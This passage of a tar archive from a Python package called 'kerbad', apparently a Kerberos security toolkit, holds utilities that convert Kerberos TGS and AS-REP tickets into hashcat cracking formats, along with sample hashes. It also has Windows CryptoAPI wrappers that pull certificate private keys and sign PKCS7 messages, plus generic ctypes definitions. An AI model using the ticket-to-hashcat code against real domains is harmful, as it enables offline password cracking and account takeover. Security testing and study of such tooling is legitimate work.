mtime=1756986978.0 kerbad-0.5.10/kerbad/common/utils.py0000777000175000000000000000642615056277142016403 0ustar00silverroot import datetime from kerbad.protocol.asn1_structs import KRB_CRED, KrbCredInfo, EncKrbCredPart, EncryptedData, KRBCRED import base64 def print_table(lines, separate_head=True): """Prints a formatted table given a 2 dimensional array""" #Count the column width widths = [] for line in lines: for i,size in enumerate([len(x) for x in line]): while i >= len(widths): widths.append(0) if size > widths[i]: widths[i] = size #Generate the format string to pad the columns print_string = "" for i,width in enumerate(widths): print_string += "{" + str(i) + ":" + str(width) + "} | " if (len(print_string) == 0): return print_string = print_string[:-3] #Print the actual data for i,line in enumerate(lines): print(print_string.format(*line)) if (i == 0 and separate_head): print("-"*(sum(widths)+3*(len(widths)-1))) # this is from impacket, a bit modified windows_epoch = datetime.datetime(1970,1,1, tzinfo=datetime.timezone.utc) def dt_to_kerbtime(dt): td = dt - windows_epoch return int((td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) / 1e6) def TGSTicket2hashcat(res): tgs_encryption_type = int(res['ticket']['enc-part']['etype']) tgs_name_string = '@'.join(res['ticket']['sname']['name-string']) #[0] tgs_realm = res['ticket']['realm'] if tgs_encryption_type == 23: tgs_checksum = res['ticket']['enc-part']['cipher'][:16] tgs_encrypted_data2 = res['ticket']['enc-part']['cipher'][16:] return '$krb5tgs$%s$*%s$%s$spn*$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() ) elif tgs_encryption_type in [17,18]: # $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e # $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0 tgs_checksum = res['ticket']['enc-part']['cipher'][-12:] tgs_encrypted_data2 = res['ticket']['enc-part']['cipher'][:-12] return '$krb5tgs$%s$%s$%s$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() ) else: return 'unknown$enctype$%s' % tgs_encryption_type def TGTTicket2hashcat(res): tgt_encryption_type = int(res['enc-part']['etype']) tgt_name_string = res['cname']['name-string'][0] tgt_realm = res['crealm'] tgt_checksum = res['enc-part']['cipher'][:16] tgt_encrypted_data2 = res['enc-part']['cipher'][16:] return '$krb5asrep$%s$%s@%s:%s$%s' % (tgt_encryption_type,tgt_name_string, tgt_realm, tgt_checksum.hex(), tgt_encrypted_data2.hex()) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/common/windows/0000777000175000000000000000000015137335015016342 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/common/windows/__init__.py0000777000175000000000000000000014760576506020461 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986980.0 kerbad-0.5.10/kerbad/common/windows/crypt32.py0000777000175000000000000003034015056277144020235 0ustar00silverroot # Kudos: # Parts of this code was inspired by the following project by @rubin_mor # https://github.com/morRubin/AzureADJoinedMachinePTC # from ctypes import GetLastError from kerbad.common.windows.defines import * CMSG_DATA = 1 CMSG_SIGNED = 2 CMSG_ENVELOPED = 3 CMSG_SIGNED_AND_ENVELOPED = 4 CMSG_HASHED = 5 CMSG_TYPE_PARAM = 1 CMSG_CONTENT_PARAM = 2 CMSG_BARE_CONTENT_PARAM = 3 CMSG_INNER_CONTENT_TYPE_PARAM = 4 CMSG_SIGNER_COUNT_PARAM = 5 CMSG_SIGNER_INFO_PARAM = 6 CMSG_SIGNER_CERT_INFO_PARAM = 7 CMSG_SIGNER_HASH_ALGORITHM_PARAM = 8 CMSG_SIGNER_AUTH_ATTR_PARAM = 9 CMSG_SIGNER_UNAUTH_ATTR_PARAM = 10 CMSG_CERT_COUNT_PARAM = 11 CMSG_CERT_PARAM = 12 CMSG_CRL_COUNT_PARAM = 13 CMSG_CRL_PARAM = 14 CMSG_ENVELOPE_ALGORITHM_PARAM = 15 CMSG_RECIPIENT_COUNT_PARAM = 17 CMSG_RECIPIENT_INDEX_PARAM = 18 CMSG_RECIPIENT_INFO_PARAM = 19 CMSG_HASH_ALGORITHM_PARAM = 20 CMSG_HASH_DATA_PARAM = 21 CMSG_COMPUTED_HASH_PARAM = 22 CMSG_ENCRYPT_PARAM = 26 X509_ASN_ENCODING = 0x00000001 X509_NDR_ENCODING = 0x00000002 PKCS_7_ASN_ENCODING = 0x00010000 PKCS_7_NDR_ENCODING = 0x00020000 CMSG_CMS_ENCAPSULATED_CONTENT_FLAG = 0x00000040 CRYPT_ACQUIRE_CACHE_FLAG = 0x00000001 CRYPT_ACQUIRE_USE_PROV_INFO_FLAG = 0x00000002 CRYPT_ACQUIRE_COMPARE_KEY_FLAG = 0x00000004 CRYPT_ACQUIRE_NO_HEALING = 0x00000008 CRYPT_ACQUIRE_SILENT_FLAG = 0x00000040 CRYPT_ACQUIRE_NCRYPT_KEY_FLAGS_MASK = 0x00070000 CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG = 0x00010000 CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG = 0x00020000 CRYPT_ACQUIRE_ONLY_NCRYPT_KEY_FLAG = 0x00040000 HCRYPTMSG = HANDLE HCERTSTORE = HANDLE HCRYPTPROV_OR_NCRYPT_KEY_HANDLE = HANDLE PHCRYPTPROV_OR_NCRYPT_KEY_HANDLE = POINTER(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE) class FILETIME(Structure): _fields_ = [ ('dwLowDateTime', DWORD), ('dwHighDateTime', DWORD), ] class CRYPTOAPI_BLOB(Structure): _fields_ = [ ('cbData', DWORD), ('pbData', LPBYTE), ] @staticmethod def get_empty(): t = CRYPTOAPI_BLOB() t.cbData = 0 t.pbData = None return t CRYPT_INTEGER_BLOB = CRYPTOAPI_BLOB CERT_NAME_BLOB = CRYPTOAPI_BLOB CRL_BLOB = CRYPTOAPI_BLOB PCRL_BLOB = POINTER(CRL_BLOB) CERT_BLOB = CRYPTOAPI_BLOB PCERT_BLOB = POINTER(CERT_BLOB) CRYPT_BIT_BLOB = CRYPTOAPI_BLOB CRYPT_OBJID_BLOB = CRYPTOAPI_BLOB CRYPT_HASH_BLOB = CRYPTOAPI_BLOB PCRYPT_ATTR_BLOB = POINTER(CRYPTOAPI_BLOB) class CRYPT_ALGORITHM_IDENTIFIER(Structure): _fields_ = [ ('pszObjId', LPSTR), ('Parameters', CRYPT_OBJID_BLOB), ] class CRYPT_ATTRIBUTE(Structure): _fields_ = [ ("pszObjId", LPSTR), ("cValue", DWORD), ("rgValue", PCRYPT_ATTR_BLOB), ] PCRYPT_ATTRIBUTE = POINTER(CRYPT_ATTRIBUTE) class CERT_PUBLIC_KEY_INFO(Structure): _fields_ = [ ('Algorithm', CRYPT_ALGORITHM_IDENTIFIER), ('PublicKey', CRYPT_BIT_BLOB), ] class CERT_EXTENSION(Structure): _fields_ = [ ('pszObjId', LPSTR), ('fCritical', BOOL), ('Value', CRYPT_OBJID_BLOB), ] class CERT_ISSUER_SERIAL_NUMBER(Structure): _fields_ = [ ("Issuer", CERT_NAME_BLOB), ("SerialNumber", CRYPT_INTEGER_BLOB), ] PCERT_ISSUER_SERIAL_NUMBER = POINTER(CERT_ISSUER_SERIAL_NUMBER) class TMPUNION_CERT_ID(Union): _fields_ = [ ("IssuerSerialNumber", CERT_ISSUER_SERIAL_NUMBER), ("KeyId", CRYPT_HASH_BLOB), ("HashId", CRYPT_HASH_BLOB), ] PTMPUNION_CERT_ID = POINTER(TMPUNION_CERT_ID) class CERT_ID(Structure): _fields_ = [ ("dwIdChoice", DWORD), ("DUMMYUNIONNAME", TMPUNION_CERT_ID), ] PCERT_ID = POINTER(CERT_ID) PCERT_EXTENSION = POINTER(CERT_EXTENSION) class CERT_INFO(Structure): _fields_ = [ ('dwVersion', DWORD), ('SerialNumber', CRYPT_INTEGER_BLOB), ('SignatureAlgorithm', CRYPT_ALGORITHM_IDENTIFIER), ('Issuer', CERT_NAME_BLOB), ('NotBefore', FILETIME), ('NotAfter', FILETIME), ('Subject', CERT_NAME_BLOB), ('SubjectPublicKeyInfo', CERT_PUBLIC_KEY_INFO), ('IssuerUniqueId', CRYPT_BIT_BLOB), ('SubjectUniqueId', CRYPT_BIT_BLOB), ('cExtension', DWORD), ('rgExtension', PCERT_EXTENSION), ] PCERT_INFO = POINTER(CERT_INFO) HCRYPTPROV = HANDLE NCRYPT_KEY_HANDLE = HANDLE class CMSG_SIGNER_ENCODE_INFO_UNION(Union): _fields_ = [ ("hCryptProv", HCRYPTPROV), ("hNCryptKey", NCRYPT_KEY_HANDLE) ] PCMSG_SIGNER_ENCODE_INFO_UNION = POINTER(CMSG_SIGNER_ENCODE_INFO_UNION) class DUMMYUNIONNAME(ctypes.Union): _fields_ = [ ("hCryptProv", HCRYPTPROV), ("hNCryptKey", NCRYPT_KEY_HANDLE)] class CMSG_SIGNER_ENCODE_INFO(Structure): #_anonymous_ = ("u",) _fields_ = [ ('cbSize', DWORD), ('pCertInfo', PCERT_INFO), ('DUMMYUNIONNAME', LPVOID), # CMSG_SIGNER_ENCODE_INFO_UNION ('dwKeySpec', DWORD), ('HashAlgorithm', CRYPT_ALGORITHM_IDENTIFIER ), ('pvHashAuxInfo', PVOID), ('cAuthAttr', DWORD), ('rgAuthAttr', PCRYPT_ATTRIBUTE), ('cUnauthAttr', DWORD), ('rgUnauthAttr', PCRYPT_ATTRIBUTE), ('SignerId', CERT_ID), #('HashEncryptionAlgorithm', CRYPT_ALGORITHM_IDENTIFIER), #('pvHashEncryptionAuxInfo', PVOID), ] PCMSG_SIGNER_ENCODE_INFO = POINTER(CMSG_SIGNER_ENCODE_INFO) class CMSG_SIGNED_ENCODE_INFO(Structure): _fields_ = [ ("cbSize", DWORD), ("cSigners", DWORD), ("rgSigners", PCMSG_SIGNER_ENCODE_INFO), ("cCertEncoded", DWORD), ("rgCertEncoded", PCERT_BLOB), ("cCrlEncoded", DWORD), ("rgCrlEncoded", PCRL_BLOB), ("cAttrCertEncoded", DWORD), ("rgAttrCertEncoded", PCERT_BLOB), ] PCMSG_SIGNED_ENCODE_INFO = POINTER(CMSG_SIGNED_ENCODE_INFO) PPCMSG_SIGNED_ENCODE_INFO = POINTER(PCMSG_SIGNED_ENCODE_INFO) class CERT_CONTEXT(Structure): _fields_ = [ ('dwCertEncodingType', DWORD), ('pbCertEncoded', LPBYTE), ('cbCertEncoded', DWORD), ('pCertInfo', PCERT_INFO), ('hCertStore', HCERTSTORE), ] PCERT_CONTEXT = POINTER(CERT_CONTEXT) PCCERT_CONTEXT = PCERT_CONTEXT class CMSG_STREAM_INFO(Structure): _fields_ = [ ("cbContent", DWORD), ("pfnStreamOutput", PVOID), ("pvArg", PVOID), ] PCMSG_STREAM_INFO = POINTER(CMSG_STREAM_INFO) # https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-certopensystemstorew def CertOpenSystemStore(subSystemProtocol = 'MY'): _CertOpenSystemStore = windll.crypt32.CertOpenSystemStoreW _CertOpenSystemStore.argtypes = [PVOID, LPWSTR] _CertOpenSystemStore.restype = HCERTSTORE _CertOpenSystemStore.errcheck = RaiseIfZero handle = _CertOpenSystemStore(None, subSystemProtocol) return handle # https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-certclosestore def CertCloseStore(handle, dwFlags = 0): _CertCloseStore = windll.crypt32.CertCloseStore _CertCloseStore.argtypes = [HCERTSTORE, DWORD] _CertCloseStore.restype = BOOL _CertCloseStore.errcheck = RaiseIfZero handle = _CertCloseStore(handle, dwFlags) return handle def CertFreeCertificateContext(handle): _CertFreeCertificateContext = windll.crypt32.CertFreeCertificateContext _CertFreeCertificateContext.argtypes = [PCCERT_CONTEXT] _CertFreeCertificateContext.restype = BOOL _CertFreeCertificateContext(handle) def CertEnumCertificatesInStore(handle, prev_cert_handle = None): _CertEnumCertificatesInStore = windll.crypt32.CertEnumCertificatesInStore _CertEnumCertificatesInStore.argtypes = [HCERTSTORE, PCCERT_CONTEXT] _CertEnumCertificatesInStore.restype = PCCERT_CONTEXT #_CertEnumCertificatesInStore.errcheck = RaiseIfZero handle = _CertEnumCertificatesInStore(handle, prev_cert_handle) return handle def CryptAcquireCertificatePrivateKey(handle, dwFlags = CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG): _CryptAcquireCertificatePrivateKey = windll.crypt32.CryptAcquireCertificatePrivateKey _CryptAcquireCertificatePrivateKey.argtypes = [PCCERT_CONTEXT, DWORD, PVOID, PHCRYPTPROV_OR_NCRYPT_KEY_HANDLE, LPDWORD, LPBOOL] _CryptAcquireCertificatePrivateKey.restype = BOOL _CryptAcquireCertificatePrivateKey.errcheck = RaiseIfZero dwKeySpec = DWORD(0) fCallerFreeProvOrNCryptKey = BOOL(0) hprov = HANDLE(0) _CryptAcquireCertificatePrivateKey(handle, dwFlags, None, byref(hprov), byref(dwKeySpec), byref(fCallerFreeProvOrNCryptKey)) return hprov, dwKeySpec, fCallerFreeProvOrNCryptKey def CryptMsgOpenToEncode(MsgEncodeInfo, dwMsgEncodingType = X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, dwFlags = CMSG_CMS_ENCAPSULATED_CONTENT_FLAG, dwMsgType = CMSG_SIGNED, InnerContentObjID = b"1.3.6.1.5.2.3.1", StreamInfo = None): _CryptMsgOpenToEncode = windll.crypt32.CryptMsgOpenToEncode _CryptMsgOpenToEncode.argtypes = [DWORD, DWORD, DWORD, PCMSG_SIGNED_ENCODE_INFO, LPSTR, PCMSG_STREAM_INFO] _CryptMsgOpenToEncode.restype = HCRYPTMSG _CryptMsgOpenToEncode.errcheck = RaiseIfZero if isinstance(InnerContentObjID, str): InnerContentObjID = ctypes.create_string_buffer(InnerContentObjID) res = _CryptMsgOpenToEncode(dwMsgEncodingType, dwFlags, dwMsgType, byref(MsgEncodeInfo), InnerContentObjID, StreamInfo) return res def CryptMsgUpdate(hCryptMsg, data, fFinal = True): _CryptMsgUpdate = windll.crypt32.CryptMsgUpdate _CryptMsgUpdate.argtypes = [HCRYPTMSG, PVOID, DWORD, BOOL] _CryptMsgUpdate.restype = BOOL _CryptMsgUpdate.errcheck = RaiseIfZero dlen = len(data) data = ctypes.create_string_buffer(data, len(data)) res = _CryptMsgUpdate(hCryptMsg, data, dlen, fFinal) return res def CryptMsgGetParam(hCryptMsg, ptype, dwIndex = 0): _CryptMsgGetParam = windll.crypt32.CryptMsgGetParam _CryptMsgGetParam.argtypes = [HCRYPTMSG, DWORD, DWORD, PVOID, LPDWORD] _CryptMsgGetParam.restype = BOOL dlen = DWORD(0) res = _CryptMsgGetParam(hCryptMsg, ptype, dwIndex, None, byref(dlen)) data = ctypes.create_string_buffer(dlen.value) res = _CryptMsgGetParam(hCryptMsg, ptype, dwIndex, byref(data), byref(dlen)) if res != True: raise ctypes.WinError(GetLastError()) return data.raw def get_cert(pccert, native = False): from asn1crypto.x509 import Certificate cctx = pccert.contents cert_data = ctypes.string_at(cctx.pbCertEncoded, cctx.cbCertEncoded) if native is False: return Certificate.load(cert_data) return Certificate.load(cert_data).native def list_certstore(certstore_name = 'MY'): chandle = CertOpenSystemStore(certstore_name) hcert = None while True: hcert = CertEnumCertificatesInStore(chandle, hcert) if bool(hcert) is False: #null ptr means no more certs break certificate = get_cert(hcert, True) if 'tbs_certificate' in certificate: if 'subject' in certificate['tbs_certificate']: subject = certificate['tbs_certificate']['subject']#['common_name'] if isinstance(subject, str): subject = [subject] print(subject) else: input('!') if bool(hcert) is True: CertFreeCertificateContext(hcert) def find_cert_by_cn(common_name, certstore_name = 'MY'): chandle = CertOpenSystemStore(certstore_name) hcert = None while True: hcert = CertEnumCertificatesInStore(chandle, hcert) if bool(hcert) is False: raise Exception('Couldnt find certificate for %s in certstore %s' % (common_name, certstore_name)) certificate = get_cert(hcert) subject = certificate.subject.native['common_name'] if isinstance(subject, list): for se in subject: if se == common_name: return certificate, hcert, chandle else: if subject == common_name: return certificate, hcert, chandle def pkcs7_sign(hcert, data): hprov, keyspec, to_free = CryptAcquireCertificatePrivateKey(hcert) hashalgo = CRYPT_ALGORITHM_IDENTIFIER() hashalgo.pszObjId = b"1.3.14.3.2.26" #szOID_OIWSEC_sha1 hashalgo.Parameters = CRYPTOAPI_BLOB.get_empty() Signers = CMSG_SIGNER_ENCODE_INFO() Signers.cbSize = ctypes.sizeof(CMSG_SIGNER_ENCODE_INFO) Signers.pCertInfo = hcert.contents.pCertInfo Signers.DUMMYUNIONNAME = hprov Signers.dwKeySpec = keyspec Signers.HashAlgorithm = hashalgo Signers.pvHashAuxInfo = None Signers.cAuthAttr = 0 Signers.rgAuthAttr = None Signers.cUnauthAttr = 0 Signers.rgUnauthAttr = None Certificate = CERT_BLOB() Certificate.cbData = hcert.contents.cbCertEncoded Certificate.pbData = hcert.contents.pbCertEncoded MsgEncodeInfo = CMSG_SIGNED_ENCODE_INFO() MsgEncodeInfo.cbSize = ctypes.sizeof(CMSG_SIGNED_ENCODE_INFO) MsgEncodeInfo.cSigners = 1 MsgEncodeInfo.rgSigners = ctypes.pointer(Signers) MsgEncodeInfo.cCertEncoded = 1 MsgEncodeInfo.rgCertEncoded = ctypes.pointer(Certificate) MsgEncodeInfo.cCrlEncoded = 0 MsgEncodeInfo.rgCrlEncoded = None MsgEncodeInfo.cAttrCertEncoded = 0 MsgEncodeInfo.rgAttrCertEncoded = None hmsg = CryptMsgOpenToEncode(MsgEncodeInfo) CryptMsgUpdate(hmsg, data, True) res = CryptMsgGetParam(hmsg, CMSG_CONTENT_PARAM) return res ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/common/windows/defines.py0000777000175000000000000005571314760576506020364 0ustar00silverroot#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Common definitions. """ # TODO # + add TCHAR and related types? import ctypes import functools #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== # Cygwin compatibility. try: WindowsError except NameError: _gle = None class WindowsError(OSError): def __init__(self, *args, **kwargs): OSError.__init__(self, *args, **kwargs) global _gle if _gle is None: from kernel32 import GetLastError as _gle self.winerror = _gle() from os import getenv as _real_getenv def getenv(key, default=None): value = _real_getenv(key, None) if value is None: value = _real_getenv(key.upper(), default) return value #------------------------------------------------------------------------------ # Some stuff from ctypes we'll be using very frequently. addressof = ctypes.addressof sizeof = ctypes.sizeof SIZEOF = ctypes.sizeof POINTER = ctypes.POINTER WINFUNCTYPE = ctypes.WINFUNCTYPE windll = ctypes.windll # Automatically disable padding of structs and unions on 32 bits. class Structure(ctypes.Structure): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 class Union(ctypes.Union): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 # The IronPython implementation of byref() was giving some problems, # so it's best to replace it with the slower pointer() function. try: ctypes.c_void_p(ctypes.byref(ctypes.c_char())) # this fails in IronPython byref = ctypes.byref except TypeError: byref = ctypes.pointer # XXX DEBUG # The following code can be enabled to make the Win32 API wrappers log to # standard output the dll and function names, the parameter values and the # return value for each call. ##WIN32_VERBOSE_MODE = True WIN32_VERBOSE_MODE = False if WIN32_VERBOSE_MODE: class WinDllHook(object): def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinFuncHook(name) class WinFuncHook(object): def __init__(self, name): self.__name = name def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinCallHook(self.__name, name) class WinCallHook(object): def __init__(self, dllname, funcname): self.__dllname = dllname self.__funcname = funcname self.__func = getattr(getattr(ctypes.windll, dllname), funcname) def __copy_attribute(self, attribute): try: value = getattr(self, attribute) setattr(self.__func, attribute, value) except AttributeError: try: delattr(self.__func, attribute) except AttributeError: pass def __call__(self, *argv): self.__copy_attribute('argtypes') self.__copy_attribute('restype') self.__copy_attribute('errcheck') print("-"*10) print("%s ! %s %r" % (self.__dllname, self.__funcname, argv)) retval = self.__func(*argv) print("== %r" % (retval,)) return retval windll = WinDllHook() #------------------------------------------------------------------------------ def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise ctypes.WinError() return result def RaiseIfNotZero(result, func = None, arguments = ()): """ Error checking for some odd Win32 API calls. The function is assumed to return an integer, which is zero on success. If the return value is nonzero the C{WindowsError} exception is raised. This is mostly useful for free() like functions, where the return value is the pointer to the memory block on failure or a C{NULL} pointer on success. """ if result: raise ctypes.WinError() return result def RaiseIfNotErrorSuccess(result, func = None, arguments = ()): """ Error checking for Win32 Registry API calls. The function is assumed to return a Win32 error code. If the code is not C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. """ if result != ERROR_SUCCESS: raise ctypes.WinError(result) return result class GuessStringType(object): """ Decorator that guesses the correct version (A or W) to call based on the types of the strings passed as parameters. Calls the B{ANSI} version if the only string types are ANSI. Calls the B{Unicode} version if Unicode or mixed string types are passed. The default if no string arguments are passed depends on the value of the L{t_default} class variable. @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. @type t_default: type @cvar t_default: Default string type to use. Possible values are: - type('') for ANSI - type(u'') for Unicode """ # ANSI and Unicode types t_ansi = type('') t_unicode = type(u'') # Default is ANSI for Python 2.x t_default = t_ansi def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Shortcut to self.t_ansi t_ansi = self.t_ansi # Get the types of all arguments for the function v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) # Get the appropriate function for the default type if self.t_default == t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # If at least one argument is a Unicode string... if self.t_unicode in v_types: # If al least one argument is an ANSI string, # convert all ANSI strings to Unicode if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = argv[index] for (key, value) in argd.items(): if type(value) == t_ansi: argd[key] = value # Use the W version fn = self.fn_unicode # If at least one argument is an ANSI string, # but there are no Unicode strings... elif t_ansi in v_types: # Use the A version fn = self.fn_ansi # Call the function and return the result return fn(*argv, **argd) class DefaultStringType(object): """ Decorator that uses the default version (A or W) to call based on the configuration of the L{GuessStringType} decorator. @see: L{GuessStringType.t_default} @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. """ def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Get the appropriate function based on the default. if GuessStringType.t_default == GuessStringType.t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # Call the function and return the result return fn(*argv, **argd) def MakeANSIVersion(fn): """ Decorator that generates an ANSI version of a Unicode (wide) only API call. @type fn: callable @param fn: Unicode (wide) version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = t_unicode(argv[index]) for key, value in argd.items(): if type(value) == t_ansi: argd[key] = t_unicode(value) return fn(*argv, **argd) return wrapper def MakeWideVersion(fn): """ Decorator that generates a Unicode (wide) version of an ANSI only API call. @type fn: callable @param fn: ANSI version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_unicode in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_unicode: argv[index] = t_ansi(argv[index]) for key, value in argd.items(): if type(value) == t_unicode: argd[key] = t_ansi(value) return fn(*argv, **argd) return wrapper #--- Types -------------------------------------------------------------------- # http://msdn.microsoft.com/en-us/library/aa383751(v=vs.85).aspx # Map of basic C types to Win32 types LPVOID = ctypes.c_void_p CHAR = ctypes.c_char WCHAR = ctypes.c_wchar BYTE = ctypes.c_ubyte SBYTE = ctypes.c_byte WORD = ctypes.c_uint16 SWORD = ctypes.c_int16 DWORD = ctypes.c_uint32 SDWORD = ctypes.c_int32 QWORD = ctypes.c_uint64 SQWORD = ctypes.c_int64 SHORT = ctypes.c_int16 USHORT = ctypes.c_uint16 INT = ctypes.c_int32 UINT = ctypes.c_uint32 LONG = ctypes.c_int32 ULONG = ctypes.c_uint32 LONGLONG = ctypes.c_int64 # c_longlong ULONGLONG = ctypes.c_uint64 # c_ulonglong LPSTR = ctypes.c_char_p LPWSTR = ctypes.c_wchar_p INT8 = ctypes.c_int8 INT16 = ctypes.c_int16 INT32 = ctypes.c_int32 INT64 = ctypes.c_int64 UINT8 = ctypes.c_uint8 UINT16 = ctypes.c_uint16 UINT32 = ctypes.c_uint32 UINT64 = ctypes.c_uint64 LONG32 = ctypes.c_int32 LONG64 = ctypes.c_int64 ULONG32 = ctypes.c_uint32 ULONG64 = ctypes.c_uint64 DWORD32 = ctypes.c_uint32 DWORD64 = ctypes.c_uint64 BOOL = ctypes.c_int32 FLOAT = ctypes.c_float # not sure on cygwin DOUBLE = ctypes.c_double # not sure on cygwin # Map size_t to SIZE_T try: SIZE_T = ctypes.c_size_t SSIZE_T = ctypes.c_ssize_t except AttributeError: # Size of a pointer SIZE_T = {1:BYTE, 2:WORD, 4:DWORD, 8:QWORD}[sizeof(LPVOID)] SSIZE_T = {1:SBYTE, 2:SWORD, 4:SDWORD, 8:SQWORD}[sizeof(LPVOID)] PSIZE_T = POINTER(SIZE_T) # Not really pointers but pointer-sized integers DWORD_PTR = SIZE_T ULONG_PTR = SIZE_T LONG_PTR = SIZE_T # Other Win32 types, more may be added as needed PVOID = LPVOID PPVOID = POINTER(PVOID) PSTR = LPSTR PWSTR = LPWSTR PCHAR = LPSTR PWCHAR = LPWSTR LPBYTE = POINTER(BYTE) LPSBYTE = POINTER(SBYTE) LPWORD = POINTER(WORD) LPSWORD = POINTER(SWORD) LPDWORD = POINTER(DWORD) LPSDWORD = POINTER(SDWORD) LPULONG = POINTER(ULONG) LPLONG = POINTER(LONG) PDWORD = LPDWORD PDWORD_PTR = 